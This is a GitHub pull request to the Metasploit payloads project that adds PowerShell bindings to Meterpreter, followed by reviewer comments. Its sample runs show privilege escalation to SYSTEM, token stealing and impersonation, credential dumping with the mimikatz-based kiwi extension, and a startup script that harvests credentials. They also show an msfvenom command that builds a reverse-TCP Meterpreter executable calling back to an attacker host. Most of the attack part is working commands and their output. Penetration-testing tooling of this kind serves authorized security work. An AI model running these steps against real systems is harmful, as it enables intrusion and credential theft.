Add Powershell meterpreter bindings #89

Merged
merged 14 commits into from Apr 2, 2016

Conversation

Projects
None yet
5 participants
@OJ
Contributor

OJ commented Mar 25, 2016

This PR contains a bunch of extra features for the Powershell extension submitted in #87. The summary of changes in this PR include:

  • A small TLV parsing feature so that the .NET code can shimmy packets through to Meterpreter in the same way that Python does.
  • Bindings that are very similar to those in the Python extension (kiwi, incognito, and others). For details, see the sample run section.
  • Support for running of .ps1 files as part of stageless initialisation, just like with the Python extension.
  • Support for the new powershell_import function, which allows importing/execution of .ps1 scripts, and importing of .NET 2.0 assembly .dll files.
  • Slight modification to how commands are interpreted. In order to support multi-line scripts commands implemented as wrapped base64 encoded payloads sent through the interpreter and then executed via IEX once decoded in PSH land.
  • All bindings are done in .NET and where it makes sense, returns .NET objects that can be queried/filtered/etc. (Sample output shown below just shows PSH's rendering of those objects behind the scenes).
  • A small fix to the local packet handling when commands are missing (in the case of missing extensions, for example).

I decided to avoid including bindings for both ADSI and WMI functionality, because Powershell has much better facilities to do that directly out of the box.

The powershell_import support relies on changes made to MSF, and those can be found in the PR here: rapid7/metasploit-framework#6710

Sample Runs

I'll start by bulk-loading the extensions and setting up some handy aliases to reduce typing

meterpreter > use powershell 
Loading extension powershell...success.
meterpreter > use kiwi 
Loading extension kiwi...

  .#####.   mimikatz 2.0 alpha (x64/win64) release "Kiwi en C"
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'    Ported to Metasploit by OJ Reeves `TheColonial` * * */

success.
meterpreter > use incognito 
Loading extension incognito...success.
meterpreter > powershell_shell 
PS > $u=[MSF.Powershell.Meterpreter.User]
PS > $e=[MSF.Powershell.Meterpreter.Elevate]
PS > $s=[MSF.Powershell.Meterpreter.Sys]
PS > $f=[MSF.Powershell.Meterpreter.FileSystem]
PS > $t=[MSF.Powershell.Meterpreter.Transport]
PS > $k=[MSF.Powershell.Meterpreter.Kiwi]
PS > $i=[MSF.Powershell.Meterpreter.Incognito]

Now we'll look at the User functionality

PS > $u | Get-Member -Static


   TypeName: MSF.Powershell.Meterpreter.User

Name            MemberType Definition
----            ---------- ----------
Equals          Method     static bool Equals(System.Object objA, System.Object objB)
GetSid          Method     static string GetSid()
GetUid          Method     static string GetUid()
IsSystem        Method     static bool IsSystem()
ReferenceEquals Method     static bool ReferenceEquals(System.Object objA, System.Object objB)

PS > $u::Getuid()           
WIN-7CH5RT177BA\oj
PS > $u::GetSid()
S-1-5-21-592734037-641778975-2469974608-1000
PS > $u::IsSystem()
False

Same with the Elevate functionality:

PS > $e | Get-Member -Static


   TypeName: MSF.Powershell.Meterpreter.Elevate

Name            MemberType Definition
----            ---------- ----------
DropToken       Method     static bool DropToken()
Equals          Method     static bool Equals(System.Object objA, System.Object objB)
GetSystem       Method     static bool GetSystem()
ReferenceEquals Method     static bool ReferenceEquals(System.Object objA, System.Object objB)
Rev2Self        Method     static bool Rev2Self()
StealToken      Method     static bool StealToken(int pid)

PS > $u::IsSystem()
False
PS > $e::GetSystem()
True
PS > $u::IsSystem()
True
PS > $u::GetSid()
S-1-5-18
PS > $e::Rev2Self()
True
PS > $u::IsSystem()
False

We can enumerate processes too:

PS > $s | Get-Member -Static


   TypeName: MSF.Powershell.Meterpreter.Sys

Name            MemberType Definition
----            ---------- ----------
Equals          Method     static bool Equals(System.Object objA, System.Object objB)
Info            Method     static MSF.Powershell.Meterpreter.Sys+SysInfo Info()
ProcessList     Method     static System.Collections.Generic.List`1[[MSF.Powershell.Meterpreter.Sys+ProcessInfo, MSF...
ReferenceEquals Method     static bool ReferenceEquals(System.Object objA, System.Object objB)

PS > $s::ProcessList() | Select Name,UserName

Name                                                        Username
----                                                        --------
[System Process]
System
smss.exe                                                    NT AUTHORITY\SYSTEM
csrss.exe                                                   NT AUTHORITY\SYSTEM
wininit.exe                                                 NT AUTHORITY\SYSTEM
csrss.exe                                                   NT AUTHORITY\SYSTEM
services.exe                                                NT AUTHORITY\SYSTEM
winlogon.exe                                                NT AUTHORITY\SYSTEM
lsass.exe                                                   NT AUTHORITY\SYSTEM
lsm.exe                                                     NT AUTHORITY\SYSTEM
svchost.exe                                                 NT AUTHORITY\SYSTEM
vmacthlp.exe                                                NT AUTHORITY\SYSTEM
svchost.exe                                                 NT AUTHORITY\NETWORK SERVICE
svchost.exe                                                 NT AUTHORITY\LOCAL SERVICE
svchost.exe                                                 NT AUTHORITY\SYSTEM
svchost.exe                                                 NT AUTHORITY\LOCAL SERVICE
svchost.exe                                                 NT AUTHORITY\SYSTEM
... snip ...

Check out file system mounts (which hopefully keens @mubix happy!):

PS > $f | Get-Member -Static


   TypeName: MSF.Powershell.Meterpreter.FileSystem

Name            MemberType Definition
----            ---------- ----------
Equals          Method     static bool Equals(System.Object objA, System.Object objB)
ReferenceEquals Method     static bool ReferenceEquals(System.Object objA, System.Object objB)
ShowMount       Method     static System.Collections.Generic.List`1[[MSF.Powershell.Meterpreter.FileSystem+Mount, MS...

PS > $f::ShowMount()


Name       : A:\
Type       : Removable
SpaceUser  : 0
SpaceTotal : 0
SpaceFree  : 0
UncPath    :

Name       : C:\
Type       : Fixed
SpaceUser  : 14667411456
SpaceTotal : 64422408192
SpaceFree  : 14667411456
UncPath    :

Name       : D:\
Type       : CdRom
SpaceUser  : 0
SpaceTotal : 0
SpaceFree  : 0
UncPath    :

Name       : Z:\
Type       : Remote
SpaceUser  : 184709746688
SpaceTotal : 499514621952
SpaceFree  : 184709746688
UncPath    : \\vmware-host\Shared Folders\

Transport listing and addition is there too:

PS > $t | Get-Member -Static


   TypeName: MSF.Powershell.Meterpreter.Transport

Name            MemberType Definition
----            ---------- ----------
Add             Method     static bool Add(MSF.Powershell.Meterpreter.Transport+TransportInstance transport, int ses...
Equals          Method     static bool Equals(System.Object objA, System.Object objB)
List            Method     static MSF.Powershell.Meterpreter.Transport+SessionDefinition List()
ReferenceEquals Method     static bool ReferenceEquals(System.Object objA, System.Object objB)

PS > $t::List()

SessionExpiry                                               Transports
-------------                                               ----------
4/1/2016 12:31:46 PM                                        {MSF.Powershell.Meterpreter.Transport+TransportInstance}


PS > $t::List().Transports


Url         : tcp://10.1.10.40:9000
CommTimeout : 300
RetryTotal  : 3600
RetryWait   : 10
UserAgent   :
ProxyHost   :
ProxyUser   :
ProxyPass   :
CertHash    :

PS > $newtrans = New-Object MSF.Powershell.Meterpreter.Transport+TransportInstance
PS > $newtrans.Url = "tcp://127.0.0.1:6666"
PS > $t::Add($newtrans)
True
PS > $t::List().Transports | Select Url

Url

---
tcp://10.1.10.40:9000
tcp://127.0.0.1:6666

Bindings to extensions obviously rely on those extensions being loaded. If they aren't loaded, an exception is thrown with an error message that tells the user the extension is missing.

Kiwi bindings are present so we can pull creds:

PS > $k | Get-Member -Static


   TypeName: MSF.Powershell.Meterpreter.Kiwi

Name            MemberType Definition
----            ---------- ----------
CredsAll        Method     static System.Collections.Generic.List`1[[MSF.Powershell.Meterpreter.Kiwi+Credential, MSF...
Equals          Method     static bool Equals(System.Object objA, System.Object objB)
ReferenceEquals Method     static bool ReferenceEquals(System.Object objA, System.Object objB)


PS > $k::CredsAll()
ERROR: Exception calling "CredsAll" with "0" argument(s): "Current session is not running as SYSTEM"
ERROR: At line:1 char:13
ERROR: + $k::CredsAll <<<< ()
ERROR:     + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
ERROR:     + FullyQualifiedErrorId : DotNetMethodException
ERROR: 
PS > $e::GetSystem()
True
PS > $k::CredsAll()

Domain                                  Username                                Password
------                                  --------                                --------
WIN-7CH5RT177BA                         oj                                      <REDACTED>
WORKGROUP                               WIN-7CH5RT177BA$

Incognito does the same thing, has a few more handy things:

PS > $i | Get-Member -Static


   TypeName: MSF.Powershell.Meterpreter.Incognito

Name              MemberType Definition
----              ---------- ----------
AddGroupUser      Method     static bool AddGroupUser(string server, string group, string username)
AddLocalGroupUser Method     static bool AddLocalGroupUser(string server, string group, string username)
AddUser           Method     static bool AddUser(string server, string username, string password)
Equals            Method     static bool Equals(System.Object objA, System.Object objB)
Impersonate       Method     static bool Impersonate(string user)
ListGroupTokens   Method     static MSF.Powershell.Meterpreter.Incognito+TokenSet ListGroupTokens()
ListTokens        Method     static MSF.Powershell.Meterpreter.Incognito+TokenSet ListTokens(MSF.Powershell.Meterpre...
ListUserTokens    Method     static MSF.Powershell.Meterpreter.Incognito+TokenSet ListUserTokens()
ReferenceEquals   Method     static bool ReferenceEquals(System.Object objA, System.Object objB)
SnarfHashes       Method     static bool SnarfHashes()

PS > $i::ListUserTokens()

ImpersonationTokens                                         DelegationTokens
-------------------                                         ----------------
{NT AUTHORITY\ANONYMOUS LOGON}                              {NT AUTHORITY\LOCAL SERVICE, NT AUTHORITY\NETWORK SERVIC...

PS > $i::ListUserTokens().DelegationTokens
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
WIN-7CH5RT177BA\oj

PS > $u::GetUid()
NT AUTHORITY\SYSTEM
PS > $i::Impersonate("WIN-7CH5RT177BA\oj")
True
PS > $u::GetUid()
WIN-7CH5RT177BA\oj

All this gear can be used as part of an initialisation script.

$ cat /tmp/init.ps1 
$creds=""
$e=[MSF.Powershell.Meterpreter.Elevate]
$u=[MSF.Powershell.Meterpreter.User]
$k=[MSF.Powershell.Meterpreter.Kiwi]
If ($u::IsSystem() -Or $e::GetSystem()) {
  $creds=$k::CredsAll()
}

Generate the binary with the script like so:

$ msfvenom -p windows/x64/meterpreter_reverse_tcp EXTENSIONS=stdapi,priv,kiwi,powershell EXTINIT=powershell,/tmp/init.ps1 LHOST=10.1.10.40 LPORT=9090 -f exe -o ~/scratch/met64-s.exe

Set up a handler, and fire off the binary as administrator (so that the cred snarfing can happen), then we'll check the value of the $creds variable once the session comes in (need to wire in the powershell scripts locally once the session appears, as usual):

[*] Meterpreter session 3 opened (10.1.10.40:9090 -> 10.1.10.34:50141) at 2016-03-25 12:59:18 +1000
sessions -i -1
[*] Starting interaction with 3...

meterpreter > use powershell 
Loading extension powershell...success.
meterpreter > powershell_execute $creds
[+] Command execution completed:

Domain                                  Username                                Password
------                                  --------                                --------
WIN-7CH5RT177BA                         oj                                      <REDACTED>
WORKGROUP                               WIN-7CH5RT177BA$

The powershell_import function should be present too:

Powershell Commands
===================

    Command             Description
    -------             -----------
    powershell_execute  Execute a Powershell command string
    powershell_import   Import a PS1 script or .NET Assembly DLL
    powershell_shell    Create an interactive Powershell prompt

meterpreter > powershell_import -h
Usage: powershell_import <path to file> [-s session-id]

Imports a powershell script or assembly into the target.
The file must end in ".ps1" or ".dll".
Powershell scripts can be loaded into any session (via -s).
.NET assemblies are applied to all sessions.

OPTIONS:

    -h        Help banner
    -s <opt>  Specify the id/name of the Powershell session to run the command in.

A sample script might look like this:

$ cat /tmp/test.ps1 
whoami
[MSF.Powershell.Meterpreter.User]::IsSystem()

And importing it does the following:

meterpreter > powershell_import /tmp/test.ps1
[+] File successfully imported. Result:
win-7ch5rt177ba\oj
False

Finally, we can build .NET 2.0 assemblies, and import those. Let's say we have a crappy component that does this (now included in the source for testing purposes):

namespace MSF.Powershell.Sample
{
    public class HelloWorld
    {
        public string Run()
        {
            return "Hello, world!";
        }
    }
}

We can build and use this binary like so:

meterpreter > powershell_import /tmp/MSF.Powershell.Sample.dll
[+] File successfully imported. Result:
true
meterpreter > powershell_execute '(New-Object MSF.Powershell.Sample.HelloWorld).Run()'
[+] Command execution completed:
Hello, world!

I'm sure that people can come up with some new and exciting use cases all by themselves! Have at it.

Verification

  • Create both x64 and x86 handlers for Windows meterp, as well as matching payloads.
  • Validate the extensions build and load without crashing.
  • Validate that the bindings are present.
  • Validate that access to the bindings works where expected.
  • Validate that bindings to extensions fail with a useful exception when the dependent extension isn't present.
  • Validate that things behave as expected across internal sessions using the -s parameter
  • Validate that stageless script init works correctly.
  • Validate that the general use of meterpreter isn't impacted by these changes.
  • Validate that when bindings are invoked, that the respective meterpreter commands reflect such changes (eg. when adding a transport in powershell, make sure that transport list shows that transport as well).

There might be more, but I can't think of any!

Doneski!

image

@OJ OJ referenced this pull request in rapid7/metasploit-framework Mar 25, 2016

Merged

Add Powershell meterpreter bindings #6710

@metasploit-public-bot

This comment has been minimized.

Show comment
Hide comment
@metasploit-public-bot

metasploit-public-bot Mar 25, 2016

Refer to this link for build results (access rights to CI server needed):
https://ci.metasploit.com//job/GPR-metasploit-payloads-win/71/

Refer to this link for build results (access rights to CI server needed):
https://ci.metasploit.com//job/GPR-metasploit-payloads-win/71/

@gmikeska-r7 gmikeska-r7 self-assigned this Mar 25, 2016

@gmikeska-r7

This comment has been minimized.

Show comment
Hide comment
@gmikeska-r7

gmikeska-r7 Mar 28, 2016

Contributor

@OJ, when I try to run the msfvenom command, I see
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
Error: no implicit conversion of nil into String

I have the payloads branch as well as the framework branch pulled locally, and I've pointed my framework Gemfile to the local copy of payloads. Could there be something else I'm missing?

Contributor

gmikeska-r7 commented Mar 28, 2016

@OJ, when I try to run the msfvenom command, I see
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x64 from the payload
Error: no implicit conversion of nil into String

I have the payloads branch as well as the framework branch pulled locally, and I've pointed my framework Gemfile to the local copy of payloads. Could there be something else I'm missing?

@OJ

This comment has been minimized.

Show comment
Hide comment
@OJ

OJ Mar 29, 2016

Contributor

Hey @gmikeska-r7,

That error is thrown when the extension doesn't exist. The best thing to do when testing this is to have both metasploit-framework and metasploit-payloads source code next to each other on the file system, build the payloads, then in the metasploit-payloads folder, run make install-c-windows.

This command will copy the DLL files from metasploit-payloads to the metasploit-framework/data/meterpreter folder, and the gem should let these files take precedence over the ones in the gem.

Is that what you did?

Contributor

OJ commented Mar 29, 2016

Hey @gmikeska-r7,

That error is thrown when the extension doesn't exist. The best thing to do when testing this is to have both metasploit-framework and metasploit-payloads source code next to each other on the file system, build the payloads, then in the metasploit-payloads folder, run make install-c-windows.

This command will copy the DLL files from metasploit-payloads to the metasploit-framework/data/meterpreter folder, and the gem should let these files take precedence over the ones in the gem.

Is that what you did?

@bcook-r7

This comment has been minimized.

Show comment
Hide comment
@bcook-r7

bcook-r7 Mar 29, 2016

Contributor

Hi; we discussed it and @gmikeska-r7 had not built it properly.

Contributor

bcook-r7 commented Mar 29, 2016

Hi; we discussed it and @gmikeska-r7 had not built it properly.

@bcook-r7

This comment has been minimized.

Show comment
Hide comment
@bcook-r7

bcook-r7 Mar 29, 2016

Contributor

We'll have some discussion on how to do these sorts of tests tomorrow. I'm trying to get more eyes on these sorts of PRs so we can land them faster.

Contributor

bcook-r7 commented Mar 29, 2016

We'll have some discussion on how to do these sorts of tests tomorrow. I'm trying to get more eyes on these sorts of PRs so we can land them faster.

@OJ

This comment has been minimized.

Show comment
Hide comment
@OJ

OJ Mar 29, 2016

Contributor
Contributor

OJ commented Mar 29, 2016

@bcook-r7 bcook-r7 self-assigned this Mar 31, 2016

@bcook-r7

This comment has been minimized.

Show comment
Hide comment
@bcook-r7

bcook-r7 Apr 1, 2016

Contributor

I've been doing some testing and code review, and haven't found anything objectionable. Will land tomorrow to get more community testing and feedback.

Contributor

bcook-r7 commented Apr 1, 2016

I've been doing some testing and code review, and haven't found anything objectionable. Will land tomorrow to get more community testing and feedback.

@OJ

This comment has been minimized.

Show comment
Hide comment
@OJ

OJ Apr 1, 2016

Contributor
Contributor

OJ commented Apr 1, 2016

@bcook-r7 bcook-r7 merged commit e229995 into rapid7:master Apr 2, 2016

1 check passed

continuous-integration/travis-ci/pr The Travis CI build passed
Details

bcook-r7 added a commit that referenced this pull request Apr 2, 2016

@bcook-r7 bcook-r7 removed the in progress label Apr 2, 2016

@OJ OJ deleted the OJ:powershell-meterpreter-bindings branch Sep 20, 2016

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment